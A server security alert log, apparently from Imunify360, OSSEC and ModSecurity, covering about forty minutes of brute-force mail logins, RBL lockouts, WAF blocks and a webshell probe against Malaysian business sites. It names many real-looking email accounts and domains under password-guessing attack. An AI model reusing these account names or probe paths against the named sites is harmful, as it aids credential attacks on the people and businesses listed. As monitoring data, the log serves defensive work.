2026-01-30 08:53:05 dovecot_plain authenticator failed for H=54.126.103.87.rev.vodafone.pt (noreal) [87.103.126.54]:15732: 535 Incorrect authentication data (set_id=ww.teo@figofoods.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-30 08:53:38 H=([45.144.212.242]) [45.144.212.242]:51471 F=<no_reply@admin.com> rejected RCPT <sales@wohcheong.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 38.10.70.123
country_id: 298795
description:
Jan 30 08:53:45 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 38.10.70.123 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 08:53:46 H=(localhost.localdomain) [45.150.192.143]:51008 F=<info@kapkenya.org> temporarily rejected RCPT <jacklim@ktlog.com.my>: Could not complete sender verify


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.156.130.34
country_id: 1269750
description:
Jan 30 08:54:57 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.156.130.34 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.156.130.34
country_id: 1269750
description:
2026-01-30 08:54:59 dovecot_login authenticator failed for H=([103.140.18.186]) [49.156.130.34]:48096: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.183.103.121
country_id: 2635167
description:
2026-01-30 08:55:17 dovecot_login authenticator failed for H=(185-183-103-121.xdsl.5gdsl.com) [185.183.103.121]:47402: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.5
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/lib/tmpfiles.d/etc.conf||User:root||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 115.164.45.142
country_id: 1733045
description:
[2026-01-30 08:56:01 +0800] info [webmaild] 115.164.45.142 - teressa@smartcable.com.my "POST /cpsess6376302643/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [180.75.72.60] != Current IP Address [115.164.45.142]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.191.221.118
country_id: 1814991
description:
2026-01-30 08:57:18 dovecot_login authenticator failed for H=([60.191.221.118]) [60.191.221.118]:38812: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.178.172.204
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=4&page_id=1&sub=2 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 5.253.18.81
country_id: 2750405
description:
2026-01-30 09:00:06 H=([5.253.18.81]) [5.253.18.81]:61196 F=<info@oxbold.com> rejected RCPT <info@oxbold.com>: smtp auth required


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.136.44.29
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=36&page=88 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 89.110.116.127
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:09-01.89.110.116.127||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.228.20.68
country_id: 1814991
domain: www.indfinitydesign.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 117.43.184.25
country_id: 1814991
domain: www.indfinitydesign.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 111.76.43.25
country_id: 1814991
domain: www.indfinitydesign.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.228.44.74
country_id: 1814991
domain: www.indfinitydesign.com
description:


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.193.147.75
country_id: 1269750
description:
2026-01-30 09:02:31 dovecot_login authenticator failed for H=([203.193.147.75]) [203.193.147.75]:39958: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 115.153.11.9
country_id: 1814991
domain: www.indfinitydesign.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 117.40.102.54
country_id: 1814991
domain: www.indfinitydesign.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.96.161.240
country_id: 1814991
domain: www.indfinitydesign.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.228.31.148
country_id: 1814991
domain: www.indfinitydesign.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 220.175.82.138
country_id: 1814991
domain: www.indfinitydesign.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.228.6.101
country_id: 1814991
domain: www.indfinitydesign.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.98.61.3
country_id: 1814991
domain: www.indfinitydesign.com
description:


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.231.31.220
country_id: 1605651
description:
2026-01-30 09:02:14 dovecot_login authenticator failed for H=([49.231.31.220]) [49.231.31.220]:38471: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 59.62.67.240
country_id: 1814991
domain: www.indfinitydesign.com
description:


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.94.76.126
country_id: 1149361
description:
2026-01-30 09:02:35 dovecot_login authenticator failed for H=([180.94.76.126]) [180.94.76.126]:55198: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.228.34.220
country_id: 1814991
domain: www.indfinitydesign.com
description:


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 5.253.18.81
country_id: 2750405
description:
2026-01-30 09:02:03 H=([5.253.18.81]) [5.253.18.81]:57721 F=<info@ktlog.com.my> rejected RCPT <marylinkoh@ktlog.com.my>: smtp auth required


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 220.175.89.118
country_id: 1814991
domain: www.indfinitydesign.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.228.62.163
country_id: 1814991
domain: www.indfinitydesign.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.228.3.98
country_id: 1814991
domain: www.indfinitydesign.com
description:


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.231.31.220
country_id: 1605651
description:
Jan 30 09:02:12 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.231.31.220 has been locked due to Imunify RBL


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.96.52.220
country_id: 1814991
domain: www.indfinitydesign.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 117.43.165.125
country_id: 1814991
domain: www.indfinitydesign.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.96.162.64
country_id: 1814991
domain: www.indfinitydesign.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.228.41.47
country_id: 1814991
domain: www.indfinitydesign.com
description:


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.145.5.14
country_id: 1835841
description:
Jan 30 09:03:02 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.145.5.14 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.145.5.14
country_id: 1835841
description:
2026-01-30 09:03:04 dovecot_login authenticator failed for H=([220.67.139.254]) [221.145.5.14]:53288: 535 Incorrect authentication data (set_id=zainuddin)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.186.175.25
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=83401516694235 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.190.156.225
country_id: 3996063
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/hotel.php HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.133.35.58
country_id: 1814991
description:
Jan 30 09:05:49 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.133.35.58 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.133.35.58
country_id: 1814991
description:
2026-01-30 09:05:51 dovecot_login authenticator failed for H=([117.133.35.58]) [117.133.35.58]:52891: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-30 09:06:40 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:41360: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.159.252.16
country_id: 3469034
domain: www.u-net.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.u-net.com.my/our-brand HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 180.75.72.60
country_id: 1733045
description:
[2026-01-30 09:07:57 +0800] info [webmaild] 180.75.72.60 - pr@smartcable.com.my "GET /cpsess9084765842/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.117.0.253
country_id: 1835841
description:
2026-01-30 09:09:47 dovecot_login authenticator failed for H=([222.117.0.253]) [222.117.0.253]:55857: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.94.242
country_id: 1814991
description:
2026-01-30 09:09:48 dovecot_login authenticator failed for H=([116.114.94.242]) [116.114.94.242]:42190: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 192.241.154.87
country_id: 6252001
description:
Jan 30 09:09:55 sv3 pure-ftpd[2433972]: (?@192.241.154.87) [INFO] New connection from 192.241.154.87


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.117.0.253
country_id: 1835841
description:
Jan 30 09:09:45 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.117.0.253 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.114.94.242
country_id: 1814991
description:
Jan 30 09:09:46 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.114.94.242 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 64.89.160.15
country_id: 2635167
description:
2026-01-30 09:11:22 H=([64.89.160.15]) [64.89.160.15]:61836 F=<essential@mailling.uk> rejected RCPT <roz@af-sb.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.228.237.90
country_id: 1814991
description:
Jan 30 09:11:36 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.228.237.90 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.228.237.90
country_id: 1814991
description:
2026-01-30 09:11:38 dovecot_login authenticator failed for H=([221.228.237.90]) [221.228.237.90]:14238: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 09:12:17 H=(localhost.localdomain) [45.150.192.143]:40586 F=<info@kapkenya.org> temporarily rejected RCPT <cky@ahfengineering.com>: Could not complete sender verify


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 175.142.113.50
country_id: 1733045
description:
[2026-01-30 09:12:57 +0800] info [webmaild] 175.142.113.50 - purchase2 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: invalid webmail user purchase2 (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-30 09:12:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:55150: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.241.80.39
country_id: 1814991
description:
2026-01-30 09:12:12 dovecot_login authenticator failed for H=(ADMIN) [188.241.80.39]:61268: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.212.225.99
country_id: 1835841
description:
2026-01-30 09:12:22 dovecot_login authenticator failed for H=([1.212.225.99]) [1.212.225.99]:59724: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.149.204
country_id: 1733045
description:
2026-01-30 09:13:55 dovecot_login authenticator failed for H=([49.124.149.204]) [49.124.149.204]:38100: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.72.58.242
country_id: 1835841
description:
Jan 30 09:14:00 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.72.58.242 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.72.58.242
country_id: 1835841
description:
2026-01-30 09:14:02 dovecot_login authenticator failed for H=([61.72.101.1]) [61.72.58.242]:40248: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.94.238.133
country_id: 1835841
description:
2026-01-30 09:14:20 dovecot_login authenticator failed for H=([220.94.238.133]) [220.94.238.133]:60279: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.180.164.193
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/place/140/576051 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.94.238.133
country_id: 1835841
description:
2026-01-30 09:16:20 dovecot_login authenticator failed for H=([220.94.238.133]) [220.94.238.133]:33620: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 09:18:03 H=(localhost.localdomain) [45.150.192.143]:46176 F=<info@kapkenya.org> temporarily rejected RCPT <astpkg@astlog.com.my>: Could not complete sender verify


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-30 09:18:19 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET /cpsess3739774369/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.48.151.58
country_id: 1819730
description:
2026-01-30 09:19:03 dovecot_login authenticator failed for H=058.151.48.116.static.netvigator.com [116.48.151.58]:56803: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.183.103.121
country_id: 2635167
description:
2026-01-30 09:19:19 dovecot_login authenticator failed for H=(185-183-103-121.xdsl.5gdsl.com) [185.183.103.121]:46638: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 47.128.110.131
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.0.0 Safari/537.36||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.245.225.18
country_id: 3686110
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&sub=25 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 09:21:40 H=(localhost.localdomain) [45.150.192.143]:49528 F=<info@kapkenya.org> temporarily rejected RCPT <info@mkmetal.com.my>: Could not complete sender verify


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-30 09:21:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:52362: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.212.225.99
country_id: 1835841
description:
2026-01-30 09:22:06 dovecot_login authenticator failed for H=([1.212.225.99]) [1.212.225.99]:50654: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 64.89.160.15
country_id: 2635167
description:
2026-01-30 09:23:33 H=([64.89.160.15]) [64.89.160.15]:56051 F=<essential@mailling.uk> rejected RCPT <sales@cordage.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.147.248.44
country_id: 1269750
description:
Jan 30 09:24:24 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.147.248.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.147.248.44
country_id: 1269750
description:
2026-01-30 09:24:26 dovecot_login authenticator failed for H=([103.147.248.44]) [103.147.248.44]:60378: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.189.239.206
country_id: 1814991
description:
2026-01-30 09:25:51 dovecot_login authenticator failed for H=([220.189.239.206]) [220.189.239.206]:40204: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.55.100.104
country_id: 294640
description:
Jan 30 09:25:27 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.55.100.104 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.55.100.104
country_id: 294640
description:
2026-01-30 09:25:29 dovecot_login authenticator failed for H=(2-55-100-104.orange.net.il) [2.55.100.104]:35578: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 99.101.100.228
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:09-26.99.101.100.228||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 50.117.105.174
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:09-26.50.117.105.174||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.158.138.179
country_id: 1269750
description:
2026-01-30 09:26:03 dovecot_login authenticator failed for H=([103.158.138.179]) [103.158.138.179]:59466: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.221.115.121
country_id: 3625428
domain: aire-fresh.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/aire-fresh.com/jpg/150x70/q-75/ffffff/223/prod/206207162608.jpg HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 175.142.113.50
country_id: 1733045
description:
[2026-01-30 09:28:45 +0800] info [webmaild] 175.142.113.50 - admin@evergrown.com.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 198.251.61.45
country_id: 6251999
description:
2026-01-30 09:29:40 dovecot_login authenticator failed for H=([198.251.61.45]) [198.251.61.45]:46139: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.218.95.154
country_id: 6252001
description:
2026-01-30 09:29:13 dovecot_login authenticator failed for H=syn-074-218-095-154.biz.spectrum.com [74.218.95.154]:59083: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.146.63.187
country_id: 3017382
description:
2026-01-30 09:30:55 dovecot_login authenticator failed for H=(ADMIN) [156.146.63.187]:45583: 535 Incorrect authentication data (set_id=dsc_team@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.93.167.144
country_id: 1835841
description:
2026-01-30 09:30:13 dovecot_login authenticator failed for H=([220.93.167.144]) [220.93.167.144]:58082: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.203
country_id: 1880251
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/masaakisb.com/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.9.3 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.156
country_id: 1880251
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/masaakisb.com/wp-content/uploads/porto_styles/js_composer.css?ver=6.1.2 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.160
country_id: 1880251
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/masaakisb.com/wp-includes/css/dist/block-library/style.min.css?ver=6.4.7 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.166
country_id: 1880251
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/masaakisb.com/wp-content/themes/porto/fonts/fontawesome_optimized/fa-brands-400.woff2 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.179.93.147
country_id: 1835841
description:
2026-01-30 09:32:05 dovecot_login authenticator failed for H=([121.179.93.147]) [121.179.93.147]:49806: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.157
country_id: 1880251
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/masaakisb.com/wp-content/themes/porto/css/plugins_optimized.css?ver=6.4.7 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.235
country_id: 1880251
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/masaakisb.com/wp-content/uploads/porto_styles/shortcodes.css?ver=6.1.2 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/img/demos/img/product.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.219.115.14
country_id: 3996063
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/masaakisb.com/products/em1-molasses/ HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.246
country_id: 1880251
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/masaakisb.com/wp-content/themes/porto-child/style.css?ver=6.4.7 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.150
country_id: 1880251
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/masaakisb.com/wp-content/plugins/revslider/sr6/assets/css/rs6.css?ver=6.7.18 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.186
country_id: 1880251
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/masaakisb.com/wp-content/themes/porto/css/theme.css?ver=6.4.7 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.247
country_id: 1880251
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/masaakisb.com/wp-content/themes/porto/fonts/fontawesome_optimized/fa-solid-900.woff2 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.154.34.130
country_id: 298795
description:
Jan 30 09:33:17 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.154.34.130 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.154.34.130
country_id: 298795
description:
2026-01-30 09:33:19 dovecot_login authenticator failed for H=(server.keyubu.com) [94.154.34.130]:47368: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.172.80.110
country_id: 1269750
domain: fimco.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:53424.fimco.com.my||ServerName:fimco.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:bbb525d089f80bfa3c26271e176ae6946dbf2f9a||Title:0xdc3131b7||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.180.246.183
country_id: 1562822
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/product.php?page_id=26 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.50
country_id: 690791
description:
2026-01-30 09:35:23 H=([45.144.212.50]) [45.144.212.50]:53479 F=<info@oceanrichmarine.com> rejected RCPT <astmyy@astlog.com.my>: No Such User Here


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.236.158
country_id: 1269750
description:
